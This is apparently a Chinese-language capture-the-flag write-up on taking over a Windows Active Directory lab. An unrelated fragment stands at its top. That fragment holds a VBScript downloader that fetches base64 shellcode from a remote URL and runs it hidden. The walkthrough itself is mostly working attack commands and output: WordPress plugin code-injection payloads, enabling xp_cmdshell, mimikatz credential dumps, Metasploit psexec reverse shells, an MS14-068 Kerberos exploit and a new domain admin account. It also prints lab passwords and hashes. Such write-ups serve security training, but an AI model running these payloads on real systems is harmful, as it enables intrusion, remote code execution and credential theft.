C:\Documents and Settings\test\Desktop>cscript.exe %TEMP%\msf.vbs TVqQAAMAA.....AAAAAP

Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation. All rights reserved.

C:\DOCUME~1\test\LOCALS~1\Temp\msf.vbs(1, 53) Microsoft VBScript compilation error: Syntax error
  • origin payload size: 6160
  • netcat handle payload size: 4068

请自己尝试,为了安全测试,另外创建了一个vbs脚本。

echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs

运行以下命令来执行您的vbs payload:

START /B cscript.exe %TEMP%\msf.vbs http://192.168.1.100:8080/payload.txt

参考来源

Hacking Windows Active Directory

目录

1. Description
2. Workthrough
2.1 10.1.222.203
 2.1.1 Wordpress - Code Injection
2.2 10.1.222.200
 2.2.1 Port Scanning
 2.2.2 XP_CMDSHELL
2.3 10.1.222.201
 2.3.1 MS14-068
2.4 10.1.222.202

描述

Description
    read Flag from C:\file.sys on Windows DC. Please find Windows DC yourself.

Target
    http://10.1.222.203 (The Start)

        10.1.222.200
        10.1.222.201
        10.1.222.202
        10.1.222.203

演练

攻击地图:

---->[10.1.222.203]---->[10.1.222.200]---->[10.1.222.201]---->[10.1.222.202]
. 10.1.222.203
    wordpress vuln(code injecion)。
    从wp-config.php中读取密码
    用密码登录10.1.222.200的SQL Server。

2. 10.1.222.200
    访问SQL SERVER,并启用XP_CMDSHELL
    添加一个管理员用户。

3. 10.1.222.201
    渗透MS14-068的Windows域管理员
    管理员桌面上的mstsc客户端

4. 10.1.222.202
    获得Windows DC管理员权限。

WORDPRESS
用参数p扫描wordpress插件。

┌─[✗]─[lab@core]─[/opt/wpscan]
└──╼ ruby wpscan.rb --url 10.1.222.203 --enumerate p
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __  
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.8
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://10.1.222.203/
[+] Started: Tue Sep  8 03:21:27 2015

[+] robots.txt available under: 'http://10.1.222.203/robots.txt'
[!] The WordPress 'http://10.1.222.203/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.12
[+] XML-RPC Interface available under: http://10.1.222.203/xmlrpc.php

[+] WordPress version 4.3 identified from meta generator

[+] WordPress theme in use: twentyfifteen - v1.3

[+] Name: twentyfifteen - v1.3
 |  Location: http://10.1.222.203/wp-content/themes/twentyfifteen/
 |  Readme: http://10.1.222.203/wp-content/themes/twentyfifteen/readme.txt
 |  Style URL: http://10.1.222.203/wp-content/themes/twentyfifteen/style.css
 |  Theme Name: Twenty Fifteen
 |  Theme URI: https://wordpress.org/themes/twentyfifteen/
 |  Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple,...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating installed plugins  ...

   Time: 00:03:46 <=============================================================> (1906 / 1906) 100.00% Time: 00:03:46

[+] We found 2 plugins:

[+] Name: akismet
 |  Location: http://10.1.222.203/wp-content/plugins/akismet/

[+] Name: cm-download-manager
 |  Location: http://10.1.222.203/wp-content/plugins/cm-download-manager/
 |  Readme: http://10.1.222.203/wp-content/plugins/cm-download-manager/readme.txt

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: CM Download Manager <= 2.0.0 - Code Injection
    Reference: https://wpvulndb.com/vulnerabilities/7679
    Reference: http://packetstormsecurity.com/files/129183/
    Reference: https://downloadsmanager.cminds.com/release-notes/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8877
    Reference: http://osvdb.org/show/osvdb/114867
    Reference: https://www.exploit-db.com/exploits/35324/
[i] Fixed in: 2.0.4

[!] Title: CM Download Manager <= 2.0.6 - XSS and CSRF
    Reference: https://wpvulndb.com/vulnerabilities/7756
    Reference: http://packetstormsecurity.com/files/129357/
    Reference: http://www.securityfocus.com/bid/71418/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9129
    Reference: http://osvdb.org/show/osvdb/115223
[i] Fixed in: 2.0.7

[+] Finished: Tue Sep  8 03:25:29 2015
[+] Requests Done: 2001
[+] Memory used: 41.98 MB
[+] Elapsed time: 00:04:02

Code Injection / Xss and CSRF are here.

Code Injection:尝试使用CM下载管理器<= 2.0.0 - 代码注入,信息:
http://10.1.222.203/cmdownloads/?CMDsearch=%22.phpinfo%28%29.%22

从phpinfo页面查看禁用功能。

system,
exec,
shell_exec,
passthru,
popen,
dl,
proc_open,
popen,
curl_exec,
curl_multi_exec,
parse_ini_file,
show_source,
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,

阅读wordpress配置文件wp-config.php:

http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(scandir('.'))."
http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(file_get_contents('wp-config.php'))."

wp-config.php的内容如下:

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */
/*
 * hello world!
 *
 *
 * =========================================================================
 * Hackers, Welcome Here:
 *
 * 1、Please keey everything work well;
 * 2、Maybe 10.1.222.203's root privilege is not important;
 * 3、Logging is enable, and don't try to destroy the lab machine;
 * 4、Targets:10.1.222.200、10.1.222.201、10.1.222.202、10.1.222.203 ;
 * 5、read C:\file.sys on Windows DC;
 * 6、Tools here: http://10.1.222.203/toolsforyou/
 * 7、Enjoy It!
 * 8. Happy Hacking !
*  =========================================================================
  * * /

 // ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'Xd1moYqFr');

/** MySQL hostname */
define('DB_HOST', '10.1.222.200');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         '^01/8T?sIYu5/zkZ/;5AcsN R5Nf0cy{aI4w%J5+_O1PWn!RBX8vje8Q|G:*2h_d');
define('SECURE_AUTH_KEY',  ',{0:g.r(ml9LY+lpe4EG-SQ`Np p@r+8g6hiRYy0VAoMn~h[2XBU{X83(]MMkajF');
define('LOGGED_IN_KEY',    'RO}{Eyw(<(J=g|6=b4*Q(f-Uk&XB3.Hv6 XTGg!+C9Du-86U4e.wY9+,Zz&h0 (_');
define('NONCE_KEY',        'SN2+N1ZA6v[a.QgfGsZHyq&8 tO. 4^FNrlea:|7ifM)m-Uy!H^;At-8MeqrwMRM');
define('AUTH_SALT',        'HE<}>b.$S.GKNy@cUXCezBJmGkVM~GO/R%jB}6y~@HY3 W{%+,]mkpbEjC|GQ73!');
define('SECURE_AUTH_SALT', '.0Jix9L(%)XxhlNA3~IFPKWs!jm|VJ_]}J))@jpQV_]T>T7)i-e@z#k0W^q/Eq[G');
define('LOGGED_IN_SALT',   'V2bk%aIT-yTnvcj7+n,).IVygEdkc<p8VDWw-E&D^hS)2dR%ld&vZv`He|fdxalN');
define('NONCE_SALT',       'r+zYG+^AcZFA3;|d0]@.;7]PD>[9@Jv[@eLZ-u;v#l&R%@g40x?:4CO/-?y)3t=]');

10.1.222.203的数据库来自10.1.222.200。

10.1.222.200

Port Scanning
用nmap扫描打开的端口,我们找到tcp / 1433 - SQL Server。

Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-08 12:04 China Standard Time
Initiating SYN Stealth Scan at 12:04
Scanning 10.1.222.200 [1000 ports]
Discovered open port 3306/tcp on 10.1.222.200
Discovered open port 139/tcp on 10.1.222.200
Discovered open port 135/tcp on 10.1.222.200
Discovered open port 3389/tcp on 10.1.222.200
Discovered open port 445/tcp on 10.1.222.200
Discovered open port 1433/tcp on 10.1.222.200
Discovered open port 49152/tcp on 10.1.222.200
Discovered open port 49156/tcp on 10.1.222.200
Discovered open port 49154/tcp on 10.1.222.200
Discovered open port 49155/tcp on 10.1.222.200
Discovered open port 49153/tcp on 10.1.222.200
Discovered open port 49157/tcp on 10.1.222.200
Completed SYN Stealth Scan at 12:04, 2.37s elapsed (1000 total ports)
Nmap scan report for 10.1.222.200
Host is up (0.060s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
3306/tcp  open  mysql
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Read data files from: C:\Program Files\Nmap
Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds
           Raw packets sent: 1009 (44.396KB) | Rcvd: 1000 (40.048KB)

使用sa/Xd1moYqFr成功访问SQL Server。

  • Linux - Freetds Usage.
  • Windows - QueryExpress

XP_CMDSHELL
连接到SQL SERVER(10.1.222.200:1433)

┌─[✗]─[lab@core]─[/opt]
└──╼ tsql -S egServer70 -U sa
Password:
locale is "en_US.UTF-8"
locale charset is "UTF-8"
using default charset "UTF-8"
1> select @@version
2> go

Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
    Apr  2 2010 15:48:46
    Copyright (c) Microsoft Corporation
    Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7600: ) (Hypervisor)

(1 row affected)

数据库版本:SQL SERVER 2008.使用命令启用XP_CMDSHELL。

1> EXEC sp_configure 'show advanced options',1
2> GO
Msg 15457 (severity 0, state 1) from DATABASE, Procedure sp_configure Line 174:
    "Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install."
(return status = 0)
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell',1
2> GO
Msg 15457 (severity 0, state 1) from DATABASE, Procedure sp_configure Line 174:
    "Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install."
(return status = 0)
1> RECONFIGURE
2> GO

add a administrator with XP_CMDSHELL.

1> EXEC xp_cmdshell 'whoami'
2> GO
output
nt authority\system
NULL
(2 rows affected)
(return status = 0)

1> EXEC xp_cmdshell 'wmic useraccount get name,sid'
2> GO
output
Name           SID                                           
Administrator  S-1-5-21-30580861-1793299886-3410204933-500   
ctfcx          S-1-5-21-30580861-1793299886-3410204933-1010  
Guest          S-1-5-21-30580861-1793299886-3410204933-501   
test           S-1-5-21-30580861-1793299886-3410204933-1015  

NULL
(7 rows affected)
(return status = 0)
1>

添加管理员用户,并成功访问10.1.222.200。 我们可以用mimikatz读取明确的密码。

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 16 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 111120 (00000000:0001b210)
Session           : RemoteInteractive from 2
User Name         : Administrator
Domain            : MASTER
Logon Server      : MASTER
Logon Time        : 2015/9/7 11:46:22
SID               : S-1-5-21-30580861-1793299886-3410204933-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : MASTER
         * LM       : b4d9e05213448dbd263365ce2184209e
         * NTLM     : 68f8b3e056dc171163f597288f47607e
         * SHA1     : 50af106ec94c0739cd235d8a858f6e4fb255b3d0
        tspkg :
         * Username : Administrator
         * Domain   : MASTER
         * Password : 6GbA6Crdw
        wdigest :
         * Username : Administrator
         * Domain   : MASTER
         * Password : 6GbA6Crdw
        kerberos :
         * Username : hanlei
         * Domain   : PENTEST.COM
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : MASTER$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 2015/9/7 11:45:58
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : MASTER$
         * Domain   : PENTEST
         * NTLM     : af55bb72b1ca4ea6a3eac30216fac37b
         * SHA1     : 24e18ef140a487fa902f65a75db4cd075414656c
        tspkg :
        wdigest :
         * Username : MASTER$
         * Domain   : PENTEST
         * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0
        kerberos :
         * Username : master$
         * Domain   : PENTEST.COM
         * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0
        ssp :
        credman :

Authentication Id : 0 ; 35562 (00000000:00008aea)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2015/9/7 11:45:56
SID               :
        msv :
         [00000003] Primary
         * Username : MASTER$
         * Domain   : PENTEST
         * NTLM     : af55bb72b1ca4ea6a3eac30216fac37b
         * SHA1     : 24e18ef140a487fa902f65a75db4cd075414656c
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2015/9/7 11:45:58
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : MASTER$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 2015/9/7 11:45:56
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : MASTER$
         * Domain   : PENTEST
         * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0
        kerberos :
         * Username : master$
         * Domain   : PENTEST.COM
         * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`,zWN;E`;S!xkcQ0
        ssp :
        credman :

mimikatz # exit
Bye!

我们也可以使用metasploit模块exploit/windows /mssql/mssql_payload来获取meterpreter shell。

msf post(hashdump) > sessions -l

Active sessions
===============

  Id  Type                   Information                     Connection
  --  ----                   -----------                     ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DATABASE  10.255.254.23:8088 -> 10.1.222.200:56671 (10.1.222.200)

msf post(hashdump) > run

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 89e7950dda3ecc11525391db37acf6a8...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


[*] Post module execution completed
msf post(hashdump) > creds
Credentials
===========

host          origin        service        public         private                                                            realm  private_type
----          ------        -------        ------         -------                                                            -----  ------------
10.1.222.200  10.1.222.200  445/tcp (smb)  administrator  aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e         NTLM hash
10.1.222.200  10.1.222.200  445/tcp (smb)  guest          aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0         NTLM hash

msf post(hashdump) > use post/windows/gather/credentials/sso
msf post(sso) > show options

Module options (post/windows/gather/credentials/sso):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(sso) > set SESSION 1
SESSION => 1
msf post(sso) > run

[*] Running module against DATABASE
[-] x64 platform requires x64 meterpreter and mimikatz extension
[*] Post module execution completed


meterpreter > load mimikatz
Loading extension mimikatz...
[!] Loaded x86 Mimikatz on an x64 architecture.
success.

我们有一个meterpreter shell,并dump了Windows用户哈希。 当我们使用mimikatz时,它向我们展示了“在x64架构上加载x86 Mimikatz”。 目标是Windows 2008 x64,并且需要x64 meterpreter shell.

散列在这里,我们可以使用exploit/windows/smb/psexec来exploit目标。

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOST                 10.1.222.200                                                       yes       The target address
   RPORT                 445                                                                yes       Set the SMB service port
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             WORKGROUP                                                          no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e  no        The password for the specified username
   SMBUser               administrator                                                      no        The username to authenticate as


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
   LHOST     10.255.254.23    yes       The listen address
   LPORT     8090             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) > run

[*] Started reverse handler on 10.255.254.23:8090
[*] Connecting to the server...
[*] Authenticating to 10.1.222.200:445|WORKGROUP as user 'administrator'...
[*] Uploading payload...
[*] Created \kNXUXXOu.exe...
[+] 10.1.222.200:445 - Service started successfully...
[*] Sending stage (1105970 bytes) to 10.1.222.200
[*] Deleting \kNXUXXOu.exe...
[*] Meterpreter session 2 opened (10.255.254.23:8090 -> 10.1.222.200:56977) at 2015-09-08 13:41:18 +0000

meterpreter > load mimikatz
Loading extension mimikatz...meterpreter >

BINGO !

10.1.222.201

使用Administrator / 6GbA6Crdw访问10.1.222.201。 在管理员的桌面上,这里是一个mstsc客户端。

C:\Users\Desktop\Administrator\mstsc

MS14-068
用ms14-068升级 Windows域管理员权限。 我们需要从10.1.222.200访问10.1.222.201。

msf exploit(psexec) > route add 10.1.222.201 255.255.255.255 2

会话1是x86 meterpreter shell,会话2是x64 meterpreter shell。 Pwn 10.1.222.201与exploit/windows/smb/psexec再次如下。

msf exploit(psexec) > sessions -l

Active sessions
===============

  Id  Type                   Information                     Connection
  --  ----                   -----------                     ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DATABASE  10.255.254.23:8088 -> 10.1.222.200:56671 (10.1.222.200)
  2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ DATABASE  10.255.254.23:8090 -> 10.1.222.200:56977 (10.1.222.200)
  3   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ MASTER    10.255.254.23-10.1.222.200:0 -> 10.1.222.201:8090 (10.1.222.201)

我们需要从10.1.222.201访问Windows DC - 10.1.222.202。 利用ms14-068渗透Windows DC:

msf auxiliary(ms14_068_kerberos_checksum) > show options

Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):

   Name      Current Setting                               Required  Description
   ----      ---------------                               --------  -----------
   DOMAIN    PENTEST.COM                                   yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  file:/tmp/pass.txt                            yes       The Domain User password
   RHOST     10.1.222.202                                  yes       The target address
   RPORT     88                                            yes       The target port
   Timeout   10                                            yes       The TCP timeout to establish connection and read data
   USER      MASTER                                        yes       The Domain User
   USER_SID  S-1-5-21-30580861-1793299886-3410204933-1008  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

msf auxiliary(ms14_068_kerberos_checksum) > run

[*] Validating options...
[*] Using domain PENTEST.COM...
[*] 10.1.222.202:88 - Sending AS-REQ...
[!] 10.1.222.202:88 - KDC_ERR_PREAUTH_FAILED - Pre-authentication information was invalid
[-] 10.1.222.202:88 - Invalid AS-REP, aborting...
[*] Auxiliary module execution completed

C:\Windows\system32>wmic useraccount get name,sid
wmic useraccount get name,sid
Name           SID                                           
Administrator  S-1-5-21-30580861-1793299886-3410204933-500   
Guest          S-1-5-21-30580861-1793299886-3410204933-501   
Administrator  S-1-5-21-30580861-1793299886-3410204933-500   
Guest          S-1-5-21-30580861-1793299886-3410204933-501   
krbtgt         S-1-5-21-30580861-1793299886-3410204933-502   
hanlei         S-1-5-21-30580861-1793299886-3410204933-1110  
ctfcx          S-1-5-21-30580861-1793299886-3410204933-1111

metasploit无法利用MS14-068漏洞。 再次尝试pykek。

C:\Users\Administrator\Desktop\pykek-master>C:\Python27\python.exe ms14-068.py -u master@PENTEST.COM -s S-1-5-21-30580861-1793299886-3410204933-1008 -d DC.PENTEST.COM
Password:
  [+] Building AS-REQ for DC.PENTEST.COM... Done !
  [+] Sending AS-REQ to DC.PENTEST.COM... Done!
  [+] Receiving AS-REP from DC.PENTEST.COM... Done!
  [+] Parsing AS-REP from DC.PENTEST.COM... Done!
  [+] Building TGS-REQ for DC.PENTEST.COM... Done!
  [+] Sending TGS-REQ to DC.PENTEST.COM... Done!
  [+] Receiving TGS-REP from DC.PENTEST.COM... Done!
  [+] Parsing TGS-REP from DC.PENTEST.COM... Done!
  [+] Creating ccache file 'TGT_master@PENTEST.COM.ccache'... Done!
:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe
mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)
 .## ^ ##.  
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 16 modules * * */


mimikatz # kerberos::ptc TGT_master@PENTEST.COM.ccache

Principal : (01) : MASTER ; @ PENTEST.COM

Data 0
       Start/End/MaxRenew: 2015/9/8 22:55:52 ; 2015/9/9 8:55:52 ; 2015/9/15 22:55:52
       Service Name (01) : krbtgt ; PENTEST.COM ; @ PENTEST.COM
       Target Name  (01) : krbtgt ; PENTEST.COM ; @ PENTEST.COM
       Client Name  (01) : MASTER ; @ PENTEST.COM
       Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable ;
       Session Key       : 0x00000017 - rc4_hmac_nt      
         e42591d39858f8e3b0d16334351b692d
       Ticket            : 0x00000000 - null              ; kvno = 2    [...]
       * Injecting ticket : OK

mimikatz # exit
Bye!

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>klist
klist

��ǰ��¼ ID �� 0:0x3e7

������Ʊ֤: (1)

#0>    �ͻ���: MASTER @ PENTEST.COM
    ������: krbtgt/PENTEST.COM @ PENTEST.COM
    Kerberos Ʊ֤��������: RSADSI RC4-HMAC(NT)
    Ʊ֤��־ 0x50a00000 -> forwardable proxiable renewable pre_authent
    ��ʼʱ��: 9/8/2015 22:55:52 (����)
    ����ʱ��:   9/9/2015 8:55:52 (����)
    ����ʱ��: 9/15/2015 22:55:52 (����)
    �Ự��Կ����: RSADSI RC4-HMAC(NT)

hoho! 我们得到域管理员权限。

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net user /domain
net user /domain
�������������� pentest.com ����������������


\\DC.pentest.com ���û��ʻ�

-------------------------------------------------------------------------------
Administrator            ctfcx                    Guest                    
hanlei                   krbtgt                   
�����������ϣ�������һ�����������

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net group "DOMAIN ADMINS" /domain
net group "DOMAIN ADMINS" /domain
�������������� pentest.com ����������������

����     Domain Admins
ע��     ָ����������Ա

��Ա


C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net use \\DC.PENTEST.COM\ipc$
net use \\DC.PENTEST.COM\ipc$
�����ɹ����ɡ�


C:\Users\Administrator\Desktop\mimikatz_trunk\x64>dir \\DC.PENTEST.COM\c$\
dir \\DC.PENTEST.COM\c$\
 ������ \\DC.PENTEST.COM\c$ �еľ�û�б�ǩ��
 ��������� 403D-792F

 \\DC.PENTEST.COM\c$ ��Ŀ¼

2015/08/19  10:25    <DIR>          inetpub
2009/07/14  11:20    <DIR>          PerfLogs
2015/08/13  14:58    <DIR>          Program Files
2015/08/13  14:58    <DIR>          Program Files (x86)
2015/09/08  09:20    <DIR>          Users
2015/08/24  16:56    <DIR>          Windows
               0 ���ļ�              0 �ֽ
               6 ��Ŀ¼ 25,048,915,968 �����ֽ

-------------------------------------------------------------------------------
Administrator            ctfcx                    
�����ɹ����ɡ�

Read Flags

C:\>klist
C:\>net use \\DC.pentest.com\admin$
C:\>net use k: \\DC.pentest.com\c$
C:\>type k:\file.sys

Flags 如下:

Hi dude, Congratulations!

You have my ass!!

this is the flag:4b329655c2275d7c956083dc899b1c89

Have a good day!

Add A Domain Administrator

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net user demo pasPAS1234~ /add /domain
net user demo pasPAS1234~ /add /domain
�������������� pentest.com ����������������

�����ɹ����ɡ�

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net group "DOMAIN ADMINS" demo /add /domain
net group "DOMAIN ADMINS" demo /add /domain
�������������� pentest.com ����������������

�����ɹ����ɡ�

10.1.222.202

用 demo/pasPAS1234~ 干掉 windows DC :

meterpreter > ssp
[+] Running as SYSTEM
[*] Retrieving ssp credentials
ssp credentials
===============

AuthID  Package  Domain  User  Password
------  -------  ------  ----  --------

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID     Package    Domain        User           Password
------     -------    ------        ----           --------
0;996      Negotiate  PENTEST       DC$            lm{ 00000000000000000000000000000000 }, ntlm{ 5b2a87a70eb71e5adedf4209f478dca0 }
0;35844    NTLM                                    lm{ 00000000000000000000000000000000 }, ntlm{ 5b2a87a70eb71e5adedf4209f478dca0 }
0;145416   Kerberos   PENTEST       administrator  lm{ 00000000000000000000000000000000 }, ntlm{ 68a02ebe899dcb737cefa52adc48cafd }
0;1278946  Negotiate  PENTEST       demo           lm{ fdc5a70a13943d6273d1c29094e34430 }, ntlm{ 2ba4387de08ea1e1ee36d2a18c54b40c }
0;1278920  Kerberos   PENTEST       demo           lm{ fdc5a70a13943d6273d1c29094e34430 }, ntlm{ 2ba4387de08ea1e1ee36d2a18c54b40c }
0;997      Negotiate  NT AUTHORITY  LOCAL SERVICE  n.s. (Credentials KO)
0;999      Negotiate  PENTEST       DC$            n.s. (Credentials KO)

meterpreter > livessp
[+] Running as SYSTEM
[*] Retrieving livessp credentials
livessp credentials
===================

AuthID     Package    Domain        User           Password
------     -------    ------        ----           --------
